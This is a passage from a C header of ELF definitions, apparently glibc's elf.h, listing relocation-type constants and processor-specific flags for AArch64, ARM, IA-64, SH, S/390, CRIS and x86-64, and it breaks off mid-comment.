R_AARCH64_TLSLD_LDST64_DTPREL_LO12 537 /* DTP-rel. LD/ST imm. 11:3. */ #define R_AARCH64_TLSLD_LDST64_DTPREL_LO12_NC 538 /* Likewise; no check. */ #define R_AARCH64_TLSIE_MOVW_GOTTPREL_G1 539 /* GOT-rel. MOV{N,Z} 31:16. */ #define R_AARCH64_TLSIE_MOVW_GOTTPREL_G0_NC 540 /* GOT-rel. MOVK 15:0. */ #define R_AARCH64_TLSIE_ADR_GOTTPREL_PAGE21 541 /* Page-rel. ADRP 32:12. */ #define R_AARCH64_TLSIE_LD64_GOTTPREL_LO12_NC 542 /* Direct LD off. 11:3. */ #define R_AARCH64_TLSIE_LD_GOTTPREL_PREL19 543 /* PC-rel. load imm. 20:2. */ #define R_AARCH64_TLSLE_MOVW_TPREL_G2 544 /* TLS TP-rel. MOV{N,Z} 47:32. */ #define R_AARCH64_TLSLE_MOVW_TPREL_G1 545 /* TLS TP-rel. MOV{N,Z} 31:16. */ #define R_AARCH64_TLSLE_MOVW_TPREL_G1_NC 546 /* Likewise; MOVK; no check. */ #define R_AARCH64_TLSLE_MOVW_TPREL_G0 547 /* TLS TP-rel. MOV{N,Z} 15:0. */ #define R_AARCH64_TLSLE_MOVW_TPREL_G0_NC 548 /* Likewise; MOVK; no check. */ #define R_AARCH64_TLSLE_ADD_TPREL_HI12 549 /* TP-rel. ADD imm. 23:12. */ #define R_AARCH64_TLSLE_ADD_TPREL_LO12 550 /* TP-rel. ADD imm. 11:0. */ #define R_AARCH64_TLSLE_ADD_TPREL_LO12_NC 551 /* Likewise; no ovfl. check. */ #define R_AARCH64_TLSLE_LDST8_TPREL_LO12 552 /* TP-rel. LD/ST off. 11:0. */ #define R_AARCH64_TLSLE_LDST8_TPREL_LO12_NC 553 /* Likewise; no ovfl. check. */ #define R_AARCH64_TLSLE_LDST16_TPREL_LO12 554 /* TP-rel. LD/ST off. 11:1. */ #define R_AARCH64_TLSLE_LDST16_TPREL_LO12_NC 555 /* Likewise; no check. */ #define R_AARCH64_TLSLE_LDST32_TPREL_LO12 556 /* TP-rel. LD/ST off. 11:2. */ #define R_AARCH64_TLSLE_LDST32_TPREL_LO12_NC 557 /* Likewise; no check. */ #define R_AARCH64_TLSLE_LDST64_TPREL_LO12 558 /* TP-rel. LD/ST off. 11:3. */ #define R_AARCH64_TLSLE_LDST64_TPREL_LO12_NC 559 /* Likewise; no check. */ #define R_AARCH64_TLSDESC_LD_PREL19 560 /* PC-rel. load immediate 20:2. */ #define R_AARCH64_TLSDESC_ADR_PREL21 561 /* PC-rel. ADR immediate 20:0. */ #define R_AARCH64_TLSDESC_ADR_PAGE21 562 /* Page-rel. ADRP imm. 32:12. */ #define R_AARCH64_TLSDESC_LD64_LO12 563 /* Direct LD off. from 11:3. */ #define R_AARCH64_TLSDESC_ADD_LO12 564 /* Direct ADD imm. from 11:0. */ #define R_AARCH64_TLSDESC_OFF_G1 565 /* GOT-rel. MOV{N,Z} imm. 31:16. */ #define R_AARCH64_TLSDESC_OFF_G0_NC 566 /* GOT-rel. MOVK imm. 15:0; no ck. */ #define R_AARCH64_TLSDESC_LDR 567 /* Relax LDR. */ #define R_AARCH64_TLSDESC_ADD 568 /* Relax ADD. */ #define R_AARCH64_TLSDESC_CALL 569 /* Relax BLR. */ #define R_AARCH64_TLSLE_LDST128_TPREL_LO12 570 /* TP-rel. LD/ST off. 11:4. */ #define R_AARCH64_TLSLE_LDST128_TPREL_LO12_NC 571 /* Likewise; no check. */ #define R_AARCH64_TLSLD_LDST128_DTPREL_LO12 572 /* DTP-rel. LD/ST imm. 11:4. */ #define R_AARCH64_TLSLD_LDST128_DTPREL_LO12_NC 573 /* Likewise; no check. */ #define R_AARCH64_COPY 1024 /* Copy symbol at runtime. */ #define R_AARCH64_GLOB_DAT 1025 /* Create GOT entry. */ #define R_AARCH64_JUMP_SLOT 1026 /* Create PLT entry. */ #define R_AARCH64_RELATIVE 1027 /* Adjust by program base. */ #define R_AARCH64_TLS_DTPMOD 1028 /* Module number, 64 bit. */ #define R_AARCH64_TLS_DTPREL 1029 /* Module-relative offset, 64 bit. */ #define R_AARCH64_TLS_TPREL 1030 /* TP-relative offset, 64 bit. */ #define R_AARCH64_TLSDESC 1031 /* TLS Descriptor. */ #define R_AARCH64_IRELATIVE 1032 /* STT_GNU_IFUNC relocation. */ /* AArch64 specific values for the Dyn d_tag field. */ #define DT_AARCH64_VARIANT_PCS (DT_LOPROC + 5) #define DT_AARCH64_NUM 6 /* AArch64 specific values for the st_other field. */ #define STO_AARCH64_VARIANT_PCS 0x80 /* ARM relocs. */ #define R_ARM_NONE 0 /* No reloc */ #define R_ARM_PC24 1 /* Deprecated PC relative 26 bit branch. */ #define R_ARM_ABS32 2 /* Direct 32 bit */ #define R_ARM_REL32 3 /* PC relative 32 bit */ #define R_ARM_PC13 4 #define R_ARM_ABS16 5 /* Direct 16 bit */ #define R_ARM_ABS12 6 /* Direct 12 bit */ #define R_ARM_THM_ABS5 7 /* Direct & 0x7C (LDR, STR). */ #define R_ARM_ABS8 8 /* Direct 8 bit */ #define R_ARM_SBREL32 9 #define R_ARM_THM_PC22 10 /* PC relative 24 bit (Thumb32 BL). */ #define R_ARM_THM_PC8 11 /* PC relative & 0x3FC (Thumb16 LDR, ADD, ADR). */ #define R_ARM_AMP_VCALL9 12 #define R_ARM_SWI24 13 /* Obsolete static relocation. */ #define R_ARM_TLS_DESC 13 /* Dynamic relocation. */ #define R_ARM_THM_SWI8 14 /* Reserved. */ #define R_ARM_XPC25 15 /* Reserved. */ #define R_ARM_THM_XPC22 16 /* Reserved. */ #define R_ARM_TLS_DTPMOD32 17 /* ID of module containing symbol */ #define R_ARM_TLS_DTPOFF32 18 /* Offset in TLS block */ #define R_ARM_TLS_TPOFF32 19 /* Offset in static TLS block */ #define R_ARM_COPY 20 /* Copy symbol at runtime */ #define R_ARM_GLOB_DAT 21 /* Create GOT entry */ #define R_ARM_JUMP_SLOT 22 /* Create PLT entry */ #define R_ARM_RELATIVE 23 /* Adjust by program base */ #define R_ARM_GOTOFF 24 /* 32 bit offset to GOT */ #define R_ARM_GOTPC 25 /* 32 bit PC relative offset to GOT */ #define R_ARM_GOT32 26 /* 32 bit GOT entry */ #define R_ARM_PLT32 27 /* Deprecated, 32 bit PLT address. */ #define R_ARM_CALL 28 /* PC relative 24 bit (BL, BLX). */ #define R_ARM_JUMP24 29 /* PC relative 24 bit (B, BL<cond>). */ #define R_ARM_THM_JUMP24 30 /* PC relative 24 bit (Thumb32 B.W). */ #define R_ARM_BASE_ABS 31 /* Adjust by program base. */ #define R_ARM_ALU_PCREL_7_0 32 /* Obsolete. */ #define R_ARM_ALU_PCREL_15_8 33 /* Obsolete. */ #define R_ARM_ALU_PCREL_23_15 34 /* Obsolete. */ #define R_ARM_LDR_SBREL_11_0 35 /* Deprecated, prog. base relative. */ #define R_ARM_ALU_SBREL_19_12 36 /* Deprecated, prog. base relative. */ #define R_ARM_ALU_SBREL_27_20 37 /* Deprecated, prog. base relative. */ #define R_ARM_TARGET1 38 #define R_ARM_SBREL31 39 /* Program base relative. */ #define R_ARM_V4BX 40 #define R_ARM_TARGET2 41 #define R_ARM_PREL31 42 /* 32 bit PC relative. */ #define R_ARM_MOVW_ABS_NC 43 /* Direct 16-bit (MOVW). */ #define R_ARM_MOVT_ABS 44 /* Direct high 16-bit (MOVT). */ #define R_ARM_MOVW_PREL_NC 45 /* PC relative 16-bit (MOVW). */ #define R_ARM_MOVT_PREL 46 /* PC relative (MOVT). */ #define R_ARM_THM_MOVW_ABS_NC 47 /* Direct 16 bit (Thumb32 MOVW). */ #define R_ARM_THM_MOVT_ABS 48 /* Direct high 16 bit (Thumb32 MOVT). */ #define R_ARM_THM_MOVW_PREL_NC 49 /* PC relative 16 bit (Thumb32 MOVW). */ #define R_ARM_THM_MOVT_PREL 50 /* PC relative high 16 bit (Thumb32 MOVT). */ #define R_ARM_THM_JUMP19 51 /* PC relative 20 bit (Thumb32 B<cond>.W). */ #define R_ARM_THM_JUMP6 52 /* PC relative X & 0x7E (Thumb16 CBZ, CBNZ). */ #define R_ARM_THM_ALU_PREL_11_0 53 /* PC relative 12 bit (Thumb32 ADR.W). */ #define R_ARM_THM_PC12 54 /* PC relative 12 bit (Thumb32 LDR{D,SB,H,SH}). */ #define R_ARM_ABS32_NOI 55 /* Direct 32-bit. */ #define R_ARM_REL32_NOI 56 /* PC relative 32-bit. */ #define R_ARM_ALU_PC_G0_NC 57 /* PC relative (ADD, SUB). */ #define R_ARM_ALU_PC_G0 58 /* PC relative (ADD, SUB). */ #define R_ARM_ALU_PC_G1_NC 59 /* PC relative (ADD, SUB). */ #define R_ARM_ALU_PC_G1 60 /* PC relative (ADD, SUB). */ #define R_ARM_ALU_PC_G2 61 /* PC relative (ADD, SUB). */ #define R_ARM_LDR_PC_G1 62 /* PC relative (LDR,STR,LDRB,STRB). */ #define R_ARM_LDR_PC_G2 63 /* PC relative (LDR,STR,LDRB,STRB). */ #define R_ARM_LDRS_PC_G0 64 /* PC relative (STR{D,H}, LDR{D,SB,H,SH}). */ #define R_ARM_LDRS_PC_G1 65 /* PC relative (STR{D,H}, LDR{D,SB,H,SH}). */ #define R_ARM_LDRS_PC_G2 66 /* PC relative (STR{D,H}, LDR{D,SB,H,SH}). */ #define R_ARM_LDC_PC_G0 67 /* PC relative (LDC, STC). */ #define R_ARM_LDC_PC_G1 68 /* PC relative (LDC, STC). */ #define R_ARM_LDC_PC_G2 69 /* PC relative (LDC, STC). */ #define R_ARM_ALU_SB_G0_NC 70 /* Program base relative (ADD,SUB). */ #define R_ARM_ALU_SB_G0 71 /* Program base relative (ADD,SUB). */ #define R_ARM_ALU_SB_G1_NC 72 /* Program base relative (ADD,SUB). */ #define R_ARM_ALU_SB_G1 73 /* Program base relative (ADD,SUB). */ #define R_ARM_ALU_SB_G2 74 /* Program base relative (ADD,SUB). */ #define R_ARM_LDR_SB_G0 75 /* Program base relative (LDR, STR, LDRB, STRB). */ #define R_ARM_LDR_SB_G1 76 /* Program base relative (LDR, STR, LDRB, STRB). */ #define R_ARM_LDR_SB_G2 77 /* Program base relative (LDR, STR, LDRB, STRB). */ #define R_ARM_LDRS_SB_G0 78 /* Program base relative (LDR, STR, LDRB, STRB). */ #define R_ARM_LDRS_SB_G1 79 /* Program base relative (LDR, STR, LDRB, STRB). */ #define R_ARM_LDRS_SB_G2 80 /* Program base relative (LDR, STR, LDRB, STRB). */ #define R_ARM_LDC_SB_G0 81 /* Program base relative (LDC,STC). */ #define R_ARM_LDC_SB_G1 82 /* Program base relative (LDC,STC). */ #define R_ARM_LDC_SB_G2 83 /* Program base relative (LDC,STC). */ #define R_ARM_MOVW_BREL_NC 84 /* Program base relative 16 bit (MOVW). */ #define R_ARM_MOVT_BREL 85 /* Program base relative high 16 bit (MOVT). */ #define R_ARM_MOVW_BREL 86 /* Program base relative 16 bit (MOVW). */ #define R_ARM_THM_MOVW_BREL_NC 87 /* Program base relative 16 bit (Thumb32 MOVW). */ #define R_ARM_THM_MOVT_BREL 88 /* Program base relative high 16 bit (Thumb32 MOVT). */ #define R_ARM_THM_MOVW_BREL 89 /* Program base relative 16 bit (Thumb32 MOVW). */ #define R_ARM_TLS_GOTDESC 90 #define R_ARM_TLS_CALL 91 #define R_ARM_TLS_DESCSEQ 92 /* TLS relaxation. */ #define R_ARM_THM_TLS_CALL 93 #define R_ARM_PLT32_ABS 94 #define R_ARM_GOT_ABS 95 /* GOT entry. */ #define R_ARM_GOT_PREL 96 /* PC relative GOT entry. */ #define R_ARM_GOT_BREL12 97 /* GOT entry relative to GOT origin (LDR). */ #define R_ARM_GOTOFF12 98 /* 12 bit, GOT entry relative to GOT origin (LDR, STR). */ #define R_ARM_GOTRELAX 99 #define R_ARM_GNU_VTENTRY 100 #define R_ARM_GNU_VTINHERIT 101 #define R_ARM_THM_PC11 102 /* PC relative & 0xFFE (Thumb16 B). */ #define R_ARM_THM_PC9 103 /* PC relative & 0x1FE (Thumb16 B/B<cond>). */ #define R_ARM_TLS_GD32 104 /* PC-rel 32 bit for global dynamic thread local data */ #define R_ARM_TLS_LDM32 105 /* PC-rel 32 bit for local dynamic thread local data */ #define R_ARM_TLS_LDO32 106 /* 32 bit offset relative to TLS block */ #define R_ARM_TLS_IE32 107 /* PC-rel 32 bit for GOT entry of static TLS block offset */ #define R_ARM_TLS_LE32 108 /* 32 bit offset relative to static TLS block */ #define R_ARM_TLS_LDO12 109 /* 12 bit relative to TLS block (LDR, STR). */ #define R_ARM_TLS_LE12 110 /* 12 bit relative to static TLS block (LDR, STR). */ #define R_ARM_TLS_IE12GP 111 /* 12 bit GOT entry relative to GOT origin (LDR). */ #define R_ARM_ME_TOO 128 /* Obsolete. */ #define R_ARM_THM_TLS_DESCSEQ 129 #define R_ARM_THM_TLS_DESCSEQ16 129 #define R_ARM_THM_TLS_DESCSEQ32 130 #define R_ARM_THM_GOT_BREL12 131 /* GOT entry relative to GOT origin, 12 bit (Thumb32 LDR). */ #define R_ARM_IRELATIVE 160 #define R_ARM_RXPC25 249 #define R_ARM_RSBREL32 250 #define R_ARM_THM_RPC22 251 #define R_ARM_RREL32 252 #define R_ARM_RABS22 253 #define R_ARM_RPC24 254 #define R_ARM_RBASE 255 /* Keep this the last entry. */ #define R_ARM_NUM 256 /* IA-64 specific declarations. */ /* Processor specific flags for the Ehdr e_flags field. */ #define EF_IA_64_MASKOS 0x0000000f /* os-specific flags */ #define EF_IA_64_ABI64 0x00000010 /* 64-bit ABI */ #define EF_IA_64_ARCH 0xff000000 /* arch. version mask */ /* Processor specific values for the Phdr p_type field. */ #define PT_IA_64_ARCHEXT (PT_LOPROC + 0) /* arch extension bits */ #define PT_IA_64_UNWIND (PT_LOPROC + 1) /* ia64 unwind bits */ #define PT_IA_64_HP_OPT_ANOT (PT_LOOS + 0x12) #define PT_IA_64_HP_HSL_ANOT (PT_LOOS + 0x13) #define PT_IA_64_HP_STACK (PT_LOOS + 0x14) /* Processor specific flags for the Phdr p_flags field. */ #define PF_IA_64_NORECOV 0x80000000 /* spec insns w/o recovery */ /* Processor specific values for the Shdr sh_type field. */ #define SHT_IA_64_EXT (SHT_LOPROC + 0) /* extension bits */ #define SHT_IA_64_UNWIND (SHT_LOPROC + 1) /* unwind bits */ /* Processor specific flags for the Shdr sh_flags field. */ #define SHF_IA_64_SHORT 0x10000000 /* section near gp */ #define SHF_IA_64_NORECOV 0x20000000 /* spec insns w/o recovery */ /* Processor specific values for the Dyn d_tag field. */ #define DT_IA_64_PLT_RESERVE (DT_LOPROC + 0) #define DT_IA_64_NUM 1 /* IA-64 relocations. */ #define R_IA64_NONE 0x00 /* none */ #define R_IA64_IMM14 0x21 /* symbol + addend, add imm14 */ #define R_IA64_IMM22 0x22 /* symbol + addend, add imm22 */ #define R_IA64_IMM64 0x23 /* symbol + addend, mov imm64 */ #define R_IA64_DIR32MSB 0x24 /* symbol + addend, data4 MSB */ #define R_IA64_DIR32LSB 0x25 /* symbol + addend, data4 LSB */ #define R_IA64_DIR64MSB 0x26 /* symbol + addend, data8 MSB */ #define R_IA64_DIR64LSB 0x27 /* symbol + addend, data8 LSB */ #define R_IA64_GPREL22 0x2a /* @gprel(sym + add), add imm22 */ #define R_IA64_GPREL64I 0x2b /* @gprel(sym + add), mov imm64 */ #define R_IA64_GPREL32MSB 0x2c /* @gprel(sym + add), data4 MSB */ #define R_IA64_GPREL32LSB 0x2d /* @gprel(sym + add), data4 LSB */ #define R_IA64_GPREL64MSB 0x2e /* @gprel(sym + add), data8 MSB */ #define R_IA64_GPREL64LSB 0x2f /* @gprel(sym + add), data8 LSB */ #define R_IA64_LTOFF22 0x32 /* @ltoff(sym + add), add imm22 */ #define R_IA64_LTOFF64I 0x33 /* @ltoff(sym + add), mov imm64 */ #define R_IA64_PLTOFF22 0x3a /* @pltoff(sym + add), add imm22 */ #define R_IA64_PLTOFF64I 0x3b /* @pltoff(sym + add), mov imm64 */ #define R_IA64_PLTOFF64MSB 0x3e /* @pltoff(sym + add), data8 MSB */ #define R_IA64_PLTOFF64LSB 0x3f /* @pltoff(sym + add), data8 LSB */ #define R_IA64_FPTR64I 0x43 /* @fptr(sym + add), mov imm64 */ #define R_IA64_FPTR32MSB 0x44 /* @fptr(sym + add), data4 MSB */ #define R_IA64_FPTR32LSB 0x45 /* @fptr(sym + add), data4 LSB */ #define R_IA64_FPTR64MSB 0x46 /* @fptr(sym + add), data8 MSB */ #define R_IA64_FPTR64LSB 0x47 /* @fptr(sym + add), data8 LSB */ #define R_IA64_PCREL60B 0x48 /* @pcrel(sym + add), brl */ #define R_IA64_PCREL21B 0x49 /* @pcrel(sym + add), ptb, call */ #define R_IA64_PCREL21M 0x4a /* @pcrel(sym + add), chk.s */ #define R_IA64_PCREL21F 0x4b /* @pcrel(sym + add), fchkf */ #define R_IA64_PCREL32MSB 0x4c /* @pcrel(sym + add), data4 MSB */ #define R_IA64_PCREL32LSB 0x4d /* @pcrel(sym + add), data4 LSB */ #define R_IA64_PCREL64MSB 0x4e /* @pcrel(sym + add), data8 MSB */ #define R_IA64_PCREL64LSB 0x4f /* @pcrel(sym + add), data8 LSB */ #define R_IA64_LTOFF_FPTR22 0x52 /* @ltoff(@fptr(s+a)), imm22 */ #define R_IA64_LTOFF_FPTR64I 0x53 /* @ltoff(@fptr(s+a)), imm64 */ #define R_IA64_LTOFF_FPTR32MSB 0x54 /* @ltoff(@fptr(s+a)), data4 MSB */ #define R_IA64_LTOFF_FPTR32LSB 0x55 /* @ltoff(@fptr(s+a)), data4 LSB */ #define R_IA64_LTOFF_FPTR64MSB 0x56 /* @ltoff(@fptr(s+a)), data8 MSB */ #define R_IA64_LTOFF_FPTR64LSB 0x57 /* @ltoff(@fptr(s+a)), data8 LSB */ #define R_IA64_SEGREL32MSB 0x5c /* @segrel(sym + add), data4 MSB */ #define R_IA64_SEGREL32LSB 0x5d /* @segrel(sym + add), data4 LSB */ #define R_IA64_SEGREL64MSB 0x5e /* @segrel(sym + add), data8 MSB */ #define R_IA64_SEGREL64LSB 0x5f /* @segrel(sym + add), data8 LSB */ #define R_IA64_SECREL32MSB 0x64 /* @secrel(sym + add), data4 MSB */ #define R_IA64_SECREL32LSB 0x65 /* @secrel(sym + add), data4 LSB */ #define R_IA64_SECREL64MSB 0x66 /* @secrel(sym + add), data8 MSB */ #define R_IA64_SECREL64LSB 0x67 /* @secrel(sym + add), data8 LSB */ #define R_IA64_REL32MSB 0x6c /* data 4 + REL */ #define R_IA64_REL32LSB 0x6d /* data 4 + REL */ #define R_IA64_REL64MSB 0x6e /* data 8 + REL */ #define R_IA64_REL64LSB 0x6f /* data 8 + REL */ #define R_IA64_LTV32MSB 0x74 /* symbol + addend, data4 MSB */ #define R_IA64_LTV32LSB 0x75 /* symbol + addend, data4 LSB */ #define R_IA64_LTV64MSB 0x76 /* symbol + addend, data8 MSB */ #define R_IA64_LTV64LSB 0x77 /* symbol + addend, data8 LSB */ #define R_IA64_PCREL21BI 0x79 /* @pcrel(sym + add), 21bit inst */ #define R_IA64_PCREL22 0x7a /* @pcrel(sym + add), 22bit inst */ #define R_IA64_PCREL64I 0x7b /* @pcrel(sym + add), 64bit inst */ #define R_IA64_IPLTMSB 0x80 /* dynamic reloc, imported PLT, MSB */ #define R_IA64_IPLTLSB 0x81 /* dynamic reloc, imported PLT, LSB */ #define R_IA64_COPY 0x84 /* copy relocation */ #define R_IA64_SUB 0x85 /* Addend and symbol difference */ #define R_IA64_LTOFF22X 0x86 /* LTOFF22, relaxable. */ #define R_IA64_LDXMOV 0x87 /* Use of LTOFF22X. */ #define R_IA64_TPREL14 0x91 /* @tprel(sym + add), imm14 */ #define R_IA64_TPREL22 0x92 /* @tprel(sym + add), imm22 */ #define R_IA64_TPREL64I 0x93 /* @tprel(sym + add), imm64 */ #define R_IA64_TPREL64MSB 0x96 /* @tprel(sym + add), data8 MSB */ #define R_IA64_TPREL64LSB 0x97 /* @tprel(sym + add), data8 LSB */ #define R_IA64_LTOFF_TPREL22 0x9a /* @ltoff(@tprel(s+a)), imm2 */ #define R_IA64_DTPMOD64MSB 0xa6 /* @dtpmod(sym + add), data8 MSB */ #define R_IA64_DTPMOD64LSB 0xa7 /* @dtpmod(sym + add), data8 LSB */ #define R_IA64_LTOFF_DTPMOD22 0xaa /* @ltoff(@dtpmod(sym + add)), imm22 */ #define R_IA64_DTPREL14 0xb1 /* @dtprel(sym + add), imm14 */ #define R_IA64_DTPREL22 0xb2 /* @dtprel(sym + add), imm22 */ #define R_IA64_DTPREL64I 0xb3 /* @dtprel(sym + add), imm64 */ #define R_IA64_DTPREL32MSB 0xb4 /* @dtprel(sym + add), data4 MSB */ #define R_IA64_DTPREL32LSB 0xb5 /* @dtprel(sym + add), data4 LSB */ #define R_IA64_DTPREL64MSB 0xb6 /* @dtprel(sym + add), data8 MSB */ #define R_IA64_DTPREL64LSB 0xb7 /* @dtprel(sym + add), data8 LSB */ #define R_IA64_LTOFF_DTPREL22 0xba /* @ltoff(@dtprel(s+a)), imm22 */ /* SH specific declarations */ /* Processor specific flags for the ELF header e_flags field. */ #define EF_SH_MACH_MASK 0x1f #define EF_SH_UNKNOWN 0x0 #define EF_SH1 0x1 #define EF_SH2 0x2 #define EF_SH3 0x3 #define EF_SH_DSP 0x4 #define EF_SH3_DSP 0x5 #define EF_SH4AL_DSP 0x6 #define EF_SH3E 0x8 #define EF_SH4 0x9 #define EF_SH2E 0xb #define EF_SH4A 0xc #define EF_SH2A 0xd #define EF_SH4_NOFPU 0x10 #define EF_SH4A_NOFPU 0x11 #define EF_SH4_NOMMU_NOFPU 0x12 #define EF_SH2A_NOFPU 0x13 #define EF_SH3_NOMMU 0x14 #define EF_SH2A_SH4_NOFPU 0x15 #define EF_SH2A_SH3_NOFPU 0x16 #define EF_SH2A_SH4 0x17 #define EF_SH2A_SH3E 0x18 /* SH relocs. */ #define R_SH_NONE 0 #define R_SH_DIR32 1 #define R_SH_REL32 2 #define R_SH_DIR8WPN 3 #define R_SH_IND12W 4 #define R_SH_DIR8WPL 5 #define R_SH_DIR8WPZ 6 #define R_SH_DIR8BP 7 #define R_SH_DIR8W 8 #define R_SH_DIR8L 9 #define R_SH_SWITCH16 25 #define R_SH_SWITCH32 26 #define R_SH_USES 27 #define R_SH_COUNT 28 #define R_SH_ALIGN 29 #define R_SH_CODE 30 #define R_SH_DATA 31 #define R_SH_LABEL 32 #define R_SH_SWITCH8 33 #define R_SH_GNU_VTINHERIT 34 #define R_SH_GNU_VTENTRY 35 #define R_SH_TLS_GD_32 144 #define R_SH_TLS_LD_32 145 #define R_SH_TLS_LDO_32 146 #define R_SH_TLS_IE_32 147 #define R_SH_TLS_LE_32 148 #define R_SH_TLS_DTPMOD32 149 #define R_SH_TLS_DTPOFF32 150 #define R_SH_TLS_TPOFF32 151 #define R_SH_GOT32 160 #define R_SH_PLT32 161 #define R_SH_COPY 162 #define R_SH_GLOB_DAT 163 #define R_SH_JMP_SLOT 164 #define R_SH_RELATIVE 165 #define R_SH_GOTOFF 166 #define R_SH_GOTPC 167 /* Keep this the last entry. */ #define R_SH_NUM 256 /* S/390 specific definitions. */ /* Valid values for the e_flags field. */ #define EF_S390_HIGH_GPRS 0x00000001 /* High GPRs kernel facility needed. */ /* Additional s390 relocs */ #define R_390_NONE 0 /* No reloc. */ #define R_390_8 1 /* Direct 8 bit. */ #define R_390_12 2 /* Direct 12 bit. */ #define R_390_16 3 /* Direct 16 bit. */ #define R_390_32 4 /* Direct 32 bit. */ #define R_390_PC32 5 /* PC relative 32 bit. */ #define R_390_GOT12 6 /* 12 bit GOT offset. */ #define R_390_GOT32 7 /* 32 bit GOT offset. */ #define R_390_PLT32 8 /* 32 bit PC relative PLT address. */ #define R_390_COPY 9 /* Copy symbol at runtime. */ #define R_390_GLOB_DAT 10 /* Create GOT entry. */ #define R_390_JMP_SLOT 11 /* Create PLT entry. */ #define R_390_RELATIVE 12 /* Adjust by program base. */ #define R_390_GOTOFF32 13 /* 32 bit offset to GOT. */ #define R_390_GOTPC 14 /* 32 bit PC relative offset to GOT. */ #define R_390_GOT16 15 /* 16 bit GOT offset. */ #define R_390_PC16 16 /* PC relative 16 bit. */ #define R_390_PC16DBL 17 /* PC relative 16 bit shifted by 1. */ #define R_390_PLT16DBL 18 /* 16 bit PC rel. PLT shifted by 1. */ #define R_390_PC32DBL 19 /* PC relative 32 bit shifted by 1. */ #define R_390_PLT32DBL 20 /* 32 bit PC rel. PLT shifted by 1. */ #define R_390_GOTPCDBL 21 /* 32 bit PC rel. GOT shifted by 1. */ #define R_390_64 22 /* Direct 64 bit. */ #define R_390_PC64 23 /* PC relative 64 bit. */ #define R_390_GOT64 24 /* 64 bit GOT offset. */ #define R_390_PLT64 25 /* 64 bit PC relative PLT address. */ #define R_390_GOTENT 26 /* 32 bit PC rel. to GOT entry >> 1. */ #define R_390_GOTOFF16 27 /* 16 bit offset to GOT. */ #define R_390_GOTOFF64 28 /* 64 bit offset to GOT. */ #define R_390_GOTPLT12 29 /* 12 bit offset to jump slot. */ #define R_390_GOTPLT16 30 /* 16 bit offset to jump slot. */ #define R_390_GOTPLT32 31 /* 32 bit offset to jump slot. */ #define R_390_GOTPLT64 32 /* 64 bit offset to jump slot. */ #define R_390_GOTPLTENT 33 /* 32 bit rel. offset to jump slot. */ #define R_390_PLTOFF16 34 /* 16 bit offset from GOT to PLT. */ #define R_390_PLTOFF32 35 /* 32 bit offset from GOT to PLT. */ #define R_390_PLTOFF64 36 /* 16 bit offset from GOT to PLT. */ #define R_390_TLS_LOAD 37 /* Tag for load insn in TLS code. */ #define R_390_TLS_GDCALL 38 /* Tag for function call in general dynamic TLS code. */ #define R_390_TLS_LDCALL 39 /* Tag for function call in local dynamic TLS code. */ #define R_390_TLS_GD32 40 /* Direct 32 bit for general dynamic thread local data. */ #define R_390_TLS_GD64 41 /* Direct 64 bit for general dynamic thread local data. */ #define R_390_TLS_GOTIE12 42 /* 12 bit GOT offset for static TLS block offset. */ #define R_390_TLS_GOTIE32 43 /* 32 bit GOT offset for static TLS block offset. */ #define R_390_TLS_GOTIE64 44 /* 64 bit GOT offset for static TLS block offset. */ #define R_390_TLS_LDM32 45 /* Direct 32 bit for local dynamic thread local data in LE code. */ #define R_390_TLS_LDM64 46 /* Direct 64 bit for local dynamic thread local data in LE code. */ #define R_390_TLS_IE32 47 /* 32 bit address of GOT entry for negated static TLS block offset. */ #define R_390_TLS_IE64 48 /* 64 bit address of GOT entry for negated static TLS block offset. */ #define R_390_TLS_IEENT 49 /* 32 bit rel. offset to GOT entry for negated static TLS block offset. */ #define R_390_TLS_LE32 50 /* 32 bit negated offset relative to static TLS block. */ #define R_390_TLS_LE64 51 /* 64 bit negated offset relative to static TLS block. */ #define R_390_TLS_LDO32 52 /* 32 bit offset relative to TLS block. */ #define R_390_TLS_LDO64 53 /* 64 bit offset relative to TLS block. */ #define R_390_TLS_DTPMOD 54 /* ID of module containing symbol. */ #define R_390_TLS_DTPOFF 55 /* Offset in TLS block. */ #define R_390_TLS_TPOFF 56 /* Negated offset in static TLS block. */ #define R_390_20 57 /* Direct 20 bit. */ #define R_390_GOT20 58 /* 20 bit GOT offset. */ #define R_390_GOTPLT20 59 /* 20 bit offset to jump slot. */ #define R_390_TLS_GOTIE20 60 /* 20 bit GOT offset for static TLS block offset. */ #define R_390_IRELATIVE 61 /* STT_GNU_IFUNC relocation. */ /* Keep this the last entry. */ #define R_390_NUM 62 /* CRIS relocations. */ #define R_CRIS_NONE 0 #define R_CRIS_8 1 #define R_CRIS_16 2 #define R_CRIS_32 3 #define R_CRIS_8_PCREL 4 #define R_CRIS_16_PCREL 5 #define R_CRIS_32_PCREL 6 #define R_CRIS_GNU_VTINHERIT 7 #define R_CRIS_GNU_VTENTRY 8 #define R_CRIS_COPY 9 #define R_CRIS_GLOB_DAT 10 #define R_CRIS_JUMP_SLOT 11 #define R_CRIS_RELATIVE 12 #define R_CRIS_16_GOT 13 #define R_CRIS_32_GOT 14 #define R_CRIS_16_GOTPLT 15 #define R_CRIS_32_GOTPLT 16 #define R_CRIS_32_GOTREL 17 #define R_CRIS_32_PLT_GOTREL 18 #define R_CRIS_32_PLT_PCREL 19 #define R_CRIS_NUM 20 /* AMD x86-64 relocations. */ #define R_X86_64_NONE 0 /* No reloc */ #define R_X86_64_64 1 /* Direct 64 bit */ #define R_X86_64_PC32 2 /* PC relative 32 bit signed */ #define R_X86_64_GOT32 3 /* 32 bit GOT entry */ #define R_X86_64_PLT32 4 /* 32 bit PLT address */ #define R_X86_64_COPY 5 /* Copy symbol at runtime */ #define R_X86_64_GLOB_DAT 6 /* Create GOT entry */ #define R_X86_64_JUMP_SLOT 7 /* Create PLT entry */ #define R_X86_64_RELATIVE 8 /* Adjust by program base */ #define R_X86_64_GOTPCREL 9 /* 32 bit signed PC relative offset to GOT */ #define R_X86_64_32 10 /* Direct 32 bit zero extended */ #define R_X86_64_32S 11 /* Direct 32 bit sign extended */ #define R_X86_64_16 12 /* Direct 16 bit zero extended */ #define R_X86_64_PC16 13 /* 16 bit sign extended pc relative */ #define R_X86_64_8 14 /* Direct 8 bit sign extended */ #define R_X86_64_PC8 15 /* 8 bit sign extended pc relative */ #define R_X86_64_DTPMOD64 16 /* ID of module containing symbol */ #define R_X86_64_DTPOFF64 17 /* Offset in module's TLS block */ #define R_X86_64_TPOFF64 18 /* Offset in initial TLS block */ #define R_X86_64_TLSGD 19 /* 32 bit signed PC relative offset to two GOT entries for GD symbol */ #define R_X86_64_TLSLD 20 /* 32 bit signed PC relative offset to two GOT entries for LD symbol */ #define R_X86_64_DTPOFF32 21 /* Offset in 